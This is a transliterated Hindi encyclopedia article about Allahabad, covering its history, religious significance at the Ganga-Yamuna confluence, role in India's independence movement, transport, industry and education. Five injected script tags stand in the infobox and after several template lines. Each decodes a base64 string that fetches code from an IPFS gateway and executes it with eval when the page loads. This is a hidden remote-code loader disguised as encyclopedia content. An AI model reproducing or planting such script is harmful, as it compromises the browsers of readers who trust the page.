इलाहाबाद
ilahabad
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| vivaran | ilahabad shahar, dakshini uttar pradesh rajy ke uttari bharat mean sthit hai. ilahabad ganga nadi ke kinare basa hua hai. |
| rajy | uttar pradesh |
| zila | ilahabad zila |
| nirmata | akabar |
| sthapana | san 1583 ee. |
| bhaugolik sthiti | uttar- 25.45°, poorv- 81.85° |
| marg sthiti | rashtriy rajamarg 2 aur 27 se ilahabad pahuancha ja sakata hai. |
| kab jaean | aktoobar se march |
| kaise pahuanchean | viman, rel, bas, taiksi |
| havaee adda | ilahabad vimanakshetr, nazadiki varanasi havaee adda |
| relave steshan | prayag relave steshan, ilahabad siti relave steshan, daraganj relave steshan, ilahabad jankshan relave steshan, naini jankshan relave steshan, soobedaraganj relave steshan, bamarauli relave steshan |
| bas adda | lidar rod evan sivil laians se basean upalabdh |
| yatayat | aauto riksha, bas, taimpo, saikil riksha |
| kya dekhean | ilahabad paryatan |
| kahaan thaharean | hotal, dharmashala, atithi grah |
| chitr:Map-icon.gif | googal manachitr, ilahabad vimanakshetr |
| adyatan | 17:09, 15 navanbar 2010 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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| ilahabad | ilahabad paryatan | ilahabad zila |
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ilahabad dakshini uttar pradesh rajy ke uttari bharat mean sthit hai. yah ganga aur yamuna nadi par basa hua hai. yah prachin nagar ganga aur yamuna ke sangam ke lie bhi bahut prasiddh hai. aisa mana jata hai ki is sangam par bhoomigat roop se sarasvati nadi bhi akar milati hai. ganga aur yamuna nadiyoan ke sangam par basa ilahabad varanasi (bhootapoorv banaras) v haridvar ke samakaksh pavitr prachin prayag ki bhoomi par sthit hai. yah sthan samarik drishti se b da mahattvapoorn hai. ilahabad uttar pradesh prant ka ek mahattvapoorn zila hai. bharat ka manak yamyottar grinavich se 82.5° poorv hai, jisaka arth hai ki hamara manak samay, grinavich manak samay se sadhe paanch ghante age hai. bharat mean poorvi deshantar, jo ki ilahabad ke nikat naini se gujarati hai, ke samay ko manak samay mana gaya hai.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sthapana
vartaman ilahabad shahar ki sthapana san 1583 mean mugal badashah akabar ne ki thi aur isaka nam 'al-ilahabad' arthath "allah ka shahar" rakha tha. mugal samrajy mean ilahabad praantiy rajadhani raha aur san 1599 se 1604 tak yah bagi shahazada salim, jo bad mean mugal badashah jahaangir bana, ka mukhyalay tha. ilahabad qile ke bahar hi jahaangir ke bagi putr khusaro ki qabr hai. mugal samrajy ke patan ke bad san 1801 mean aangrezoan dvara ilahabad par kabza kie jane tak yah shahar kee shasakoan ke hathoan mean gaya. 1857 mean british satta ke khilaf hue bharatiy vidroh mean yahaan bhari raktapat hua. san 1904 se 1949 tak ilahabad sanyukt praant (vartaman uttar pradesh) ki rajadhani tha.
itihas
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ilahabad ka prachin nam 'prayag' hai. ise 'tirtharaj' bhi kaha jata hai. ek prachin kianvadanti ke anusar prayag ka ek nam 'ilabas' bhi tha, jo manu ki putri ila ke nam par tha. prayag ke nikat 'bhusi' ya 'pratishthanapur' mean chandravanshi rajaoan ki rajadhani thi. isaka pahala raja ila aur budh ka putr pururava hua tha. usi ne apani rajadhani ko 'ilabas' ki sanjna di, jisaka roopaantar akabar ke samay mean ilahabad ho gaya. eesa ki chauthi aur paanchavian shatabdi mean gupt vansh ke raj mean yah nagar unaki ek rajadhani bhi raha. satavian shatabdi mean samrath harshavardhan vahaan paanch-paanch varsh ke anantar, satr ka ayojan kiya karata tha. aise ek satr mean chini yatri hven tsaang ne 643 ee. mean bhag liya tha. ilahabad mean sabase prachin aitihasik smarak maury samrat ashok (273-232 ee. poo.) ke 6 stambh-lekhoan mean se ek hai. is par gupt samrath samudragupt (330-380 ee.) ki kavi harishen dvara rachit prasiddh 'prayag prashasti' hai. isamean usake digvijay hone ka varnan hai. is sthan ke samarik mahattv ko dekhakar hi badashah akabar ne 1583 ee. mean yahaan ganga-yamuna ke sangam par qila banavaya tha aur prayag ke sthan par isaka nam 'ilahabad' rakh diya. 'ilahabad' ek arabi shabd hai, jisaka arth hota hai - allah dvara basaya gaya shahar.[1] lekin ise prayag kahana hi uchit hoga, kyoanki yah hianduoan ka pramukh tirth sthal hai. mugal kal mean bahut se aitihasik mandiroan ko to dakar unaka astitv mita diya gaya. yah nagar ilahabad soobe ki rajadhani banaya gaya. yah nagar bad mean uttar pradesh (sanyukt praant agara, avadh) ki rajadhani raha tha.
mahattv
[[chitr:Fort-Of-Allahabad-1.jpg|thumb|250px|yamuna nadi se ilahabad qile ka drishy (1857)]]
- yahaan uttar pradesh ka uchch nyayalay aur eji karyalay bhi hai.
- ilahabad ka apana aitihasik mahattv hai ramayan mean ilahabad, prayag ke nam se varnit hai.
- sangam ka dharmik mahattv bhi bahut hai.
- ilahabad shahar ka hindi sahity mean bahut mahattvapoorn yogadan hai.
- poorvi uttar pradesh mean ganga nadi ke kinare basa ilahabad bharat ka pavitr aur lokapriy tirthasthal hai. is shahar ka ullekh bharat ke dharmik granthoan mean bhi milata hai. ved, puran, ramayan aur mahabharat mean is sthan ko prayag kaha gaya hai.
- ganga, yamuna aur sarasvati nadiyoan ka yahaan sangam hota hai, isalie hinduoan ke lie is shahar ka vishesh mahattv hai.
- 12 sal bad yahaan kumbh ke mele ka ayojan hota hai. kumbh ke mele mean 2 karo d ki bhi d ikattha hone ka anuman kiya jata hai, jo sambhavat: vishv mean sabase b da jamav da hai.
bhoogol
ilahabad nagar ki bhaugolik sthiti 25.45, 81.84, uttar pradesh ke dakshini bhag mean 98 mitar par ganga aur yamuna nadiyoan ke sangam par hai. prachin samay mean yah kshetr vats janapad ke nam se jana jata tha. isake dakshin-poorv mean buandelakhand kshetr hai. uttar evan uttar-poorv mean avadh kshetr evan pashchim mean nichala doab kshetr hai. bhaugolik evan sanskritik, in donoan hi drishtiyoan se ilahabad bahut hi mahattvapoorn raha hai. ganga-yamuni doab kshetr ke khas bhag mean sthit ye yamuna nadi ka akhiri p dav sthal hai. donoan nadiyoan ke bich ki doab bhoomi shesh doab kshetr ki bhaanti hi bahut upajaoo hai, kiantu yahaan ki mitti kam nami vali hai, jo gehooan ki fasal ke liye upayukt hoti hai. ilahabad zile ke gair doabi kshetr, jo dakshini evan poorv ki or sthit haian, nikatavarti buandelakhand evan baghelakhand ke saman shushk evan patharile haian. bharat ka nabhi-sthal kahe jane vale jabalapur se nikalane vali 'bharatiy akshaansh rekha' jabalapur se 343 kilomitar uttar mean ilahabad se nikalati hai. [[chitr:Kumbh Mela .jpg|thumb|250px|pipoan ka pul(p aauntoon pul), kumbh mela, ilahabad]]
dharmik mahattv
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ilahabad ki apani ek dharmik aitihasikata bhi rahi hai. chhathavean jain tirthankar bhagavan padmaprabh ki janmasthali kaushambi rahi hai to bhakti aandolan ke pramukh stambh ramanand ka janm bhi yahian hua. ramayan kal ka charchit shrriangaverapur, jahaan par kevat ne ram ke charan dhoye the, yahian par hai. yahaan gangatat par shrriangi rrishi ka ashram v samadhi hai. bharadvaj muni ka prasiddh ashram bhi yahian anand bhavan ke pas hai, jahaan bhagavan ram shrriangaverapur se chitrakoot jate samay muni se ashirvad lene ae the. alopi devi ke mandir ke roop mean prasiddh siddhipith yahian par hai to sita-samahit sthal ke roop mean prasiddh sitamadhi bhi yahian par hai. ganga tat par avasthit dashashvamedh mandir jahaan brahma ne srishti ka pratham ashvamedh yajn kiya tha, bhi ilahabad mean hi avasthit hai. dhaumy rrishi ne apane tirthayatra prasang mean varnan kiya hai ki prayag mean sabhi tirthoan, devoan aur rrishi-muniyoan ka sadaiv se nivas raha hai tatha som, varun v prajapati ka janmasthan bhi prayag hi hai.
svatantrata andolan mean bhoomika
bharat ke svatatrata andolan mean bhi ilahabad ki ek ahamh bhoomika rahi. rashtriy navajagaran ka uday ilahabad ki bhoomi par hua to gaandhi yug mean yah nagar prerana kendr bana. 'bharatiy rashtriy kaangres' ke sangathan aur unnayan mean bhi is nagar ka yogadan raha hai. san 1857 ke vidroh ka netritv yahaan par liyaqat ali khaan ne kiya tha. kaangres parti ke tin adhiveshan yahaan par 1888, 1892 aur 1910 mean kramashah jarj yool, vyomesh chanhdr banarji aur sar viliyam bedarabarn ki adhyakshata mean hue. maharani viktoriya ka 1 navambar, 1858 ka prasiddh ghoshana patr yahian avasthit 'minto park'[2] mean tatkalin vayasaray l aaurd keniang dvara padha gaya tha. neharoo parivar ka paitrik avas 'svaraj bhavan' aur 'anand bhavan' yahian par hai. neharoo-gaandhi parivar se jude़ hone ke karan ilahabad ne desh ko pratham pradhanamantri bhi diya.
kraantikariyoan ki sharanasthali
udaravadi v samajavadi netaoan ke sath-sath ilahabad kraantikariyoan ki bhi sharanasthali raha hai. chandrashekhar azad ne yahian par alfred park mean 27 faravari, 1931 ko aangrezoan se loha lete hue british pulis adhyaksh n aaut babar aur pulis adhikari visheshvar sianh ko ghayal kar kee pulisajanoan ko mar giraya auran aantatah khud ko goli marakar ajivan azad rahane ki kasam poori ki. 1919 ke raulet ekt ko sarakar dvara vapas n lene par joon, 1920 mean ilahabad mean ek sarvadaliy sammelan hua, jisamean skool, k aaulejoan aur adalatoan ke bahishkar ke karyakram ki ghoshana huee, is prakar pratham asahayog aandolan aur khilafat aandolan ki nianv bhi ilahabad mean hi rakhi gayi thi.
yatayat aur parivahan
[[chitr:Fort-Of-Allahabad-2.jpg|thumb|250px|ilahabad qile ka ek drishy]]
vayu marg
ilahabad ka nikatatam havaee adda varanasi mean hai jo ilahabad se 147 kilomitar ki doori par sthit hai. lakhanoo havaee adda 210 kilomitar ki doori par hai.
rel marg
ilahabad dilli-kolakata ke raste par sthit hai. desh ke kisi bhi hisse se yahaan rel se pahuancha ja sakata hai. kolakata, dilli, patana, guvahati, chainnee, mumbee, gvaliyar, merath, lakhanoo, kanapur, varanasi adi shaharoan se ilahabad ke lie sidhi relean haian.
s dak marg
uttar pradesh aur desh ke anek shaharoan se ilahabad ke lie niyamit basean chalati haian.
krishi aur khanij
ilahabad shahar ke charoan or ka ilaka ganga ke maidani kshetr mean ata hai isalie yah krishi utpadoan ka bazar bhi hai. dhan, gehooan, jau, chana yahaan ki mukhy fasalean haian.
udyog aur vyapar
mukhyatah shaikshanik v prashasanik keandr hone ke sath-sath ilahabad mean kuchh udyog, jaise- khady prasanskaran v vinirman bhi haian. yahaan shisha aur tar karakhane b di sankhya mean haian. yahaan ke mukhy audyogik kshetr haian- naini aur phoolapur, jahaan kee sarvajanik aur niji kshetr ki kanpaniyoan ki ikaiyaan aur karyalay adi sthapit haian. inamean 'areva ti end di indiya' (bahurashtriy areva samooh ka ek prabhag), 'bharat panps end kanpresars limited' arthath 'bipisiel'. 'iandiyan teliphon iandastrij' (aee.ti.aee.), 'rilayans iandastriz' ilahabad nirman prakhand, hindustan kebals, triveni strakcharals limited (ti.es.el. bharat yantr nigam ki ek gaun ikaee), shisha karakhana ityadi. baidyanath ki naini mean ek nirman ikaee sthapit hai, jinamean kee kutir udyog jaise- rasayan, p aaulistar, ooni vastr, nal, paeeps, t aaurch, kagaz, ghi, machis, sabun, chini, saikil evan itr adi banaye jate haian. ilahabad mean p aaultri aur kaanch udyog bhi badhata ja raha hai. [[chitr:Allahabad-University.jpg|thumb|300px|ilahabad vishvavidyalay]]
shikshan sansthan
ilahabad ko prachin samay se hi shiksha ke kshetr mean prasiddhi prapt rahi hai. yah nagar sirf ganga aur yamuna nadiyoan ke pavitr sangam ke lie hi nahian, apitu adhyatm ke sath shiksha sangam ke lie bhi jana jata hai. yahaan bharat ke sabhi rajyoan se vidyarthi shiksha grahan karane ke lie ate haian. 'ilahabad vishvavidyalay' (1887) isaka pratyaksh praman hai, jahaan se anekanek vidvanoan ne shiksha grahan kar desh v samaj ke anek bhagoan mean apana mahattvapoorn yogadan diya. 'ilahabad vishvavidyalay' ko "poorv ka aauksaphord" bhi kaha jata hai. yahaan kee vishvavidyalay, shiksha parishad, injiniriang k aaulej, medikal k aaulej tatha mukt vishvavidyalay shiksha ke kshetr mean ullekhaniy yogadan de rahe haian. 'prayag sangit samiti' aj bharat ka jana pahachana nam hai. yahaan par sangit ki shiksha grahan karane ke lie desh-videsh se hazaroan ki sankhya mean vidyarthi ate haian. yahaan par kee prasiddh vishvavidyalay bhi hai. ilahabad mean sthapit kuchh vishvavidyalayoan ke nam nimnalikhit haian-
- ilahabad vishvavidyalay
- motilal neharu neshanal instityoot aauph teknoloji
- uttar pradesh rajarshi tandan mukt vishvavidyalay
- ilahabad egrikalchar sansthan (manit vishvavidyalay)
- neharoo gram bharati vishvavidyalay, jamunipur kotava
janasankhya
ilahabad ki kul janasankhya (2001 ki ganana ke anusar) 9,90,298 hai. ilahabad ke kul zile ki janasankhya 49,41,510 hai.
paryatan
- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
paryatakoan ke liye yahaan british kal ka ek sarakari bangala, aangl v roman kaithॅlik girajaghar aur jama masjid bhi hai. uttar pradesh ke is aitihasik shahar ka prashasanik, shaikshik, dharmik, aur saanskritik drishti se agrani sthan hai. is shahar ka ullekh bharat ke dharmik granthoan mean bhi milata hai. ved, puran, ramayan aur mahabharat mean is sthan ko 'prayag' kaha gaya hai. ganga, yamuna aur sarasvati nadiyoan ka yahaan sangam hota hai.
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vithika
- chitr:Sangam-Allahabad.jpg
sangam, ilahabad
- chitr:Anandha-Bhawan-Allahabad.jpg
anand bhavan, ilahabad
- chitr:Khusru-Bagh-Allahabad.jpg
khusaro bag, ilahabad (1870)
- chitr:Khusru-Bagh-Allahabad-1.jpg
khusaro bag, ilahabad (1900)
- chitr:Allahabad-University.jpg
- chitr:Mahakumbh-Allahabad.jpg
mahakumbh, ilahabad
tika tippani aur sandarbh
- ↑ prayag kumbh mela 2013 : ilahabad ke bare mean janie (hiandi). . abhigaman tithi: 10 janavari, 2013.
- ↑ ab madan mohan malaviy park
sanbandhit lekh
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varnamala kramanusar lekh khoj
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